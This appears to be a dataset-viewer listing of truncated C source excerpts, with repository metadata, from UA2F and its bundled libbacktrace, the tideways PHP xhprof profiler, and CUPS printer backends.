kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/config.h | null | null | null | null | null | null | C | 2026-05-04T19:09:04.452505 | #pragma once
#ifdef UA2F_ENABLE_UCI
#ifndef UA2F_CONFIG_H
#define UA2F_CONFIG_H
#include <stdbool.h>
struct ua2f_config {
bool use_custom_ua;
char *custom_ua;
bool disable_connmark;
int max_http_sessions; // 0 = unlimited
int session_ttl; // seconds, default 300
};
void load_config();
e... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/config.c | null | null | null | null | null | null | C | 2026-05-04T19:09:04.470978 | #ifdef UA2F_ENABLE_UCI
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <uci.h>
#include "config.h"
struct ua2f_config config = {
.use_custom_ua = false,
.custom_ua = NULL,
.disable_connmark = false,
.max_http_sessions = 0,
.session_ttl = 300,
};
void load_config() {
const... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/handler.h | null | null | null | null | null | null | C | 2026-05-04T19:09:04.527641 | #ifndef UA2F_HANDLER_H
#define UA2F_HANDLER_H
#include "packet_io.h"
#include "third/nfqueue-mnl/nfqueue-mnl.h"
#define CONNMARK_NOT_HTTP 43
#define CONNMARK_HTTP 44
extern bool use_conntrack;
extern const struct packet_io nfqueue_packet_io;
void init_handler();
void handle_packet(const struct packet_io *io, void ... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/handler.c | null | null | null | null | null | null | C | 2026-05-04T19:09:04.528842 | #include "assert.h"
#include "handler.h"
#include "cache.h"
#include "custom.h"
#include "statistics.h"
#include "util.h"
#include "http_session.h"
#include "http_parser_ua.h"
#ifdef UA2F_ENABLE_UCI
#include "config.h"
#endif
#include <arpa/inet.h>
#include <linux/ip.h>
#include <netinet/ip6.h>
#include <netinet/tcp.... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/conntrack_listener.h | null | null | null | null | null | null | C | 2026-05-04T19:09:04.539280 | #ifndef UA2F_CONNTRACK_LISTENER_H
#define UA2F_CONNTRACK_LISTENER_H
void init_conntrack_listener(void);
#endif
|
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/conntrack_listener.c | null | null | null | null | null | null | C | 2026-05-04T19:09:04.539794 | #include "conntrack_listener.h"
#include "http_session.h"
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#include <libnetfilter_conntrack/libnetfilter_conntrack.h>
static int destroy_cb(enum nf_conntrack_msg_type type __attribute__((unused)),
... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/handler_io.c | null | null | null | null | null | null | C | 2026-05-04T19:09:04.556444 | #include "handler.h"
#include "packet_io.h"
#include "third/nfqueue-mnl/nfqueue-mnl.h"
#include <assert.h>
#include <arpa/inet.h>
#include <errno.h>
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <syslog.h>
static void nfqueue_send_verdict(void *ctx, const struct n... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/http_parser_ua.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.000962 | #include "http_parser_ua.h"
#include <pthread.h>
#include <strings.h>
#include <string.h>
#include <time.h>
#include <sys/syslog.h>
#include "statistics.h"
#include "third/llhttp/llhttp.h"
static int on_header_field(llhttp_t *parser, const char *data, size_t len) {
struct http_session *session = (struct http_ses... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/http_parser_ua.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.032153 | #ifndef UA2F_HTTP_PARSER_UA_H
#define UA2F_HTTP_PARSER_UA_H
#include "http_session.h"
// Initialize llhttp parser and callbacks on a session.
void http_parser_init_session(struct http_session *session);
// Feed TCP payload to llhttp parser. Updates session->ua_entries.
// Returns: 0 on success, -1 on parse error.
in... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/http_session.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.048656 | #ifndef UA2F_HTTP_SESSION_H
#define UA2F_HTTP_SESSION_H
#include <stdbool.h>
#include <stdint.h>
#include <time.h>
#include <pthread.h>
#include "third/nfqueue-mnl/nfqueue-mnl.h"
#include "third/llhttp/llhttp.h"
#include "third/uthash/uthash.h"
#define UA_MAX_ENTRIES 8
#define FIELD_BUF_SIZE 32
struct ua_mangle_ent... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/packet_io.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.062356 | #ifndef UA2F_PACKET_IO_H
#define UA2F_PACKET_IO_H
#include "third/nfqueue-mnl/nfqueue-mnl.h"
#include <libnetfilter_queue/pktbuff.h>
#include <stdbool.h>
#include <stdint.h>
struct mark_op {
bool should_set;
uint32_t mark;
};
struct packet_io {
void (*send_verdict)(void *ctx, const struct nf_packet *pkt,... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/http_session.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.113367 | #include "http_session.h"
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/syslog.h>
static struct http_session *sessions = NULL;
static pthread_rwlock_t session_lock;
static int max_session_count = 0;
static int current_session_count = 0;
void init_http_sessions(int max_s... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/session_cleaner.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.144846 | #ifndef UA2F_SESSION_CLEANER_H
#define UA2F_SESSION_CLEANER_H
void init_session_cleaner(int ttl_seconds, int interval_seconds);
#endif
|
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/statistics.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.161550 | #ifndef UA2F_STATISTICS_H
#define UA2F_STATISTICS_H
void count_user_agent_packet();
void count_tcp_packet();
void count_ipv4_packet();
void count_ipv6_packet();
void count_http_packet();
void init_statistics();
void try_print_statistics();
#endif //UA2F_STATISTICS_H
|
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/statistics.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.163138 | #include "statistics.h"
#include <memory.h>
#include <stdio.h>
#include <syslog.h>
#include <time.h>
static long long user_agent_packet_count = 0;
static long long http_packet_count = 0;
static long long tcp_packet_count = 0;
static long long ipv4_packet_count = 0;
static long long ipv6_packet_count = 0;
static long ... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/session_cleaner.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.164296 | #include "session_cleaner.h"
#include "http_session.h"
#include <pthread.h>
#include <syslog.h>
#include <unistd.h>
static int cleaner_ttl;
static int cleaner_interval;
_Noreturn static void *cleaner_thread(void *arg __attribute__((unused))) {
while (1) {
sleep(cleaner_interval);
session_wrlock(... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/alloc.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.174599 | /* alloc.c -- Memory allocation without mmap.
Copyright (C) 2012-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistributions of sour... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/allocfail.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.612908 | /* allocfail.c -- Test for libbacktrace library
Copyright (C) 2018-2024 Free Software Foundation, Inc.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistributions of source code must retain the above copyrigh... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/atomic.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.662842 | /* atomic.c -- Support for atomic functions if not present.
Copyright (C) 2013-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistrib... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/backtrace.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.682082 | /* backtrace.c -- Entry point for stack backtrace library.
Copyright (C) 2012-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistribu... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/backtrace.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.711619 | /* backtrace.h -- Public header file for stack backtrace library.
Copyright (C) 2012-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Red... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/edtest.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.733683 | /* edtest.c -- Test for libbacktrace storage allocation stress handling
Copyright (C) 2017-2024 Free Software Foundation, Inc.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistributions of source code must r... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/btest.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.754867 | /* btest.c -- Test for libbacktrace library
Copyright (C) 2012-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistributions of source... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/instrumented_alloc.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.790840 | /* instrumented_alloc.c -- Memory allocation instrumented to fail when
requested, for testing purposes.
Copyright (C) 2018-2024 Free Software Foundation, Inc.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Re... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/filenames.h | null | null | null | null | null | null | C | 2026-05-04T19:09:05.793939 | /* btest.c -- Filename header for libbacktrace library
Copyright (C) 2012-2018 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistribution... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/edtest2.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.813143 | /* edtest2.c -- Test for libbacktrace storage allocation stress handling (p2)
Copyright (C) 2017-2024 Free Software Foundation, Inc.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1) Redistributions of source code ... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/third/libbacktrace/fileline.c | null | null | null | null | null | null | C | 2026-05-04T19:09:05.824165 | /* fileline.c -- Get file and line number information in a backtrace.
Copyright (C) 2012-2024 Free Software Foundation, Inc.
Written by Ian Lance Taylor, Google.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
(1)... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | timer.h | null | null | null | null | null | null | C | 2026-05-04T19:09:08.325590 | #ifndef TRACER_TIMER_H
#define TRACER_TIMER_H
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef PHP_WIN32
#include "win32/time.h"
#include "win32/unistd.h"
#include "win32/getrusage.h"
#elif __APPLE__
#include <mach/mach_init.h>
#include <mach/mach_time.h>
#else
#include "sys/time.h"
#include <sys/resource.h>
#e... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | tracing.c | null | null | null | null | null | null | C | 2026-05-04T19:09:08.343878 | #ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "ext/standard/html.h"
#include "php_tideways_xhprof.h"
extern ZEND_DECLARE_MODULE_GLOBALS(tideways_xhprof);
#include "tracing.h"
static const char digits[] = "0123456789abcdef";
static void *(*_zend_malloc) (size_t);
static void (*_zend_free... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | tideways_xhprof_arginfo.h | null | null | null | null | null | null | C | 2026-05-04T19:09:08.364126 | /* This is a generated file, edit the .stub.php file instead.
* Stub hash: f2f525e0d154673c4369cd9a3bf6c84141fbfdc8 */
ZEND_BEGIN_ARG_INFO_EX(arginfo_tideways_xhprof_enable, 0, 0, 0)
ZEND_ARG_INFO_WITH_DEFAULT_VALUE(0, options, "null")
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_tideways_xhprof_disable, 0, 0... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | tideways_xhprof.c | null | null | null | null | null | null | C | 2026-05-04T19:09:08.364808 | #ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "SAPI.h"
#include "ext/standard/info.h"
#include "php_tideways_xhprof.h"
ZEND_DECLARE_MODULE_GLOBALS(tideways_xhprof)
#include "tracing.h"
#if PHP_VERSION_ID >= 80000
#include "tideways_xhprof_arginfo.h"
#else
#include "ti... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | tracing.h | null | null | null | null | null | null | C | 2026-05-04T19:09:08.371434 | #include "timer.h"
#define TIDEWAYS_XHPROF_ROOT_SYMBOL "main()"
#define TIDEWAYS_XHPROF_CALLGRAPH_COUNTER_SIZE 1024
#define TIDEWAYS_XHPROF_CALLGRAPH_SLOTS 8192
#define TIDEWAYS_XHPROF_FLAGS_CPU 1
#define TIDEWAYS_XHPROF_FLAGS_MEMORY_MU 2
#define TIDEWAYS_XHPROF_FLAGS_MEMORY_PMU 4
#define TIDEWAYS_XHPROF_FLAGS_MEMORY ... |
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | tideways_xhprof_legacy_arginfo.h | null | null | null | null | null | null | C | 2026-05-04T19:09:08.372113 | /* This is a generated file, edit the .stub.php file instead.
* Stub hash: f2f525e0d154673c4369cd9a3bf6c84141fbfdc8 */
ZEND_BEGIN_ARG_INFO_EX(arginfo_tideways_xhprof_enable, 0, 0, 0)
ZEND_ARG_INFO(0, options)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_tideways_xhprof_disable, 0, 0, 0)
ZEND_END_ARG_INFO()
|
tideways/php-xhprof-extension | https://github.com/tideways/php-xhprof-extension | null | null | null | null | 1,624 | null | null | apache-2.0 | null | null | null | null | null | null | null | php_tideways_xhprof.h | null | null | null | null | null | null | C | 2026-05-04T19:09:08.435912 | #ifndef PHP_TIDEWAYS_XHPROF_H
#define PHP_TIDEWAYS_XHPROF_H
extern zend_module_entry tideways_xhprof_module_entry;
#define phpext_tideways_xhprof_ptr &tideways_xhprof_module_entry
#define PHP_TIDEWAYS_XHPROF_VERSION "5.0.4"
#define TIDEWAYS_XHPROF_CALLGRAPH_COUNTER_SIZE 1024
#define TIDEWAYS_XHPROF_CALLGRAPH_SLOTS 81... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/ieee1284.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.097162 | /*
* IEEE-1284 support functions for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2015 by Apple Inc.
* Copyright © 1997-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/snmp.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.121145 | /*
* SNMP discovery backend for CUPS.
*
* Copyright © 2020-2026 by OpenPrinting.
* Copyright © 2007-2014 by Apple Inc.
* Copyright © 2006-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary head... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/dnssd.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.126542 | //
// DNS-SD discovery backend for CUPS.
//
// Copyright © 2020-2025 by OpenPrinting.
// Copyright © 2008-2018 by Apple Inc.
//
// Licensed under Apache License v2.0. See the file "LICENSE" for more
// information.
//
#include "backend-private.h"
#include <cups/array.h>
#include <cups/dnssd.h>
//
// Device structur... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/network.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.129279 | /*
* Common backend network APIs for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2016 by Apple Inc.
* Copyright © 2006-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/backend-private.h | null | null | null | null | null | null | C | 2026-05-04T19:09:11.159525 | /*
* Backend support definitions for CUPS.
*
* Copyright © 2021 by OpenPrinting
* Copyright © 2007-2021 by Apple Inc.
* Copyright © 1997-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
#ifndef _CUPS_BACKEND_PRIVATE... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/socket.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.168369 | /*
* AppSocket backend for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2018 by Apple Inc.
* Copyright © 1997-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary headers.
... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/lpd.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.177576 | /*
* Line Printer Daemon backend for CUPS.
*
* Copyright © 2020-2026 by OpenPrinting.
* Copyright © 2007-2019 by Apple Inc.
* Copyright © 1997-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/test1284.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.211704 | /*
* IEEE-1284 support functions test program for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2010 by Apple Inc.
* Copyright © 1997-2006 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Incl... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/runloop.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.212999 | /*
* Common run loop APIs for CUPS backends.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2014 by Apple Inc.
* Copyright © 2006-2007 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessa... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/snmp-supplies.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.266626 | /*
* SNMP supplies functions for CUPS.
*
* Copyright © 2020-2026 by OpenPrinting.
* Copyright © 2008-2015 by Apple Inc.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary headers.
*/
#include "backend-private.h"
#include <cups/ppd-private.h>
#in... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/testsupplies.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.736879 | /*
* SNMP supplies test program for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2008-2011 by Apple Inc.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary headers.
*/
#include "backend-private.h"
/*
* 'main()' - Show the su... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/usb-darwin.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.754998 | /*
* USB backend for macOS.
*
* Copyright © 2022-2024 by OpenPrinting.
* Copyright © 2005-2021 Apple Inc. All rights reserved.
*
* IMPORTANT: This Apple software is supplied to you by Apple Computer,
* Inc. ("Apple") in consideration of your agreement to the following
* terms, and your use, installation, modif... |
OpenPrinting/cups | https://github.com/OpenPrinting/cups | null | null | null | null | 1,601 | null | null | apache-2.0 | null | null | null | null | null | null | null | backend/testbackend.c | null | null | null | null | null | null | C | 2026-05-04T19:09:11.762556 | /*
* Backend test program for CUPS.
*
* Copyright © 2020-2024 by OpenPrinting.
* Copyright © 2007-2014 by Apple Inc.
* Copyright © 1997-2005 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary header... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.